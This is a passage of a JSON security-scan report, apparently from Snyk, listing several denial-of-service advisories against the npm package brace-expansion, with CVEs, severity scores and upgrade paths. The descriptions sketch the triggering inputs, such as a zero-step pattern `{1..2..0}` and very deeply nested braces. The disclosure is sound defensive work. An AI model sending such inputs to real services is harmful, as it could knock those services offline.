"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
